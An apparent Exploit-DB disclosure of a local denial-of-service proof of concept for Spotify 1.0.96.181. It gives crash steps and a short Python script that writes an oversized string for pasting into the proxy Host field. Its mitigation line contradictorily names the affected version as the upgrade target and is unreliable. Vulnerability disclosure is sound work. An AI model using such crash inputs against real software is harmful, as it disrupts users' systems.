Spotify 1.0.96.181 - "Proxy configuration" Denial of Service (PoC)

vendor:

Spotify

by:

Aaron V. Hernandez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: Spotify

Affected Version From: 1.0.96.181

Affected Version To: 1.0.96.181

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Home x64

2019

Spotify 1.0.96.181 – “Proxy configuration” Denial of Service (PoC)

A buffer overflow vulnerability exists in Spotify 1.0.96.181 when a maliciously crafted input is sent to the "Host" field in the "Proxy configuration" window, resulting in a denial of service condition.

Mitigation:

Upgrade to the latest version of Spotify 1.0.96.181

Source

Exploit-DB raw data:

# Exploit Title: Spotify 1.0.96.181 - "Proxy configuration"  Denial of Service (PoC)
# Discovery by: Aaron V. Hernandez
# Discovery Date: 2019-01-15
# Vendor Homepage: https://www.spotify.com
# Software Link: https://www.spotify.com/mx/download/windows/
# Tested Version: 1.0.96.181
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Home x64

# Steps to Produce the Crash:
# 1.- Run python code : python Spotify_1.0.96.181.py
# 2.- Open Spotify_1.0.96.181.txt and copy content to clipboard
# 3.- Open Spotify.exe
# 4.- Clic "Configuracion"
# 5.- Select HTTP
# 6.- Paste ClipBoard on "Host"
# 7.- Clic "Actualizar proxy"
# 8.- Type any user and password
# 9.- "Iniciar sesion"
# 10.- Crashed

# !/usr/bin/env python

buffer = "\x41" * 516544
f = open("Spotify_1.0.96.181.txt", "w")
f.write(buffer)
f.close()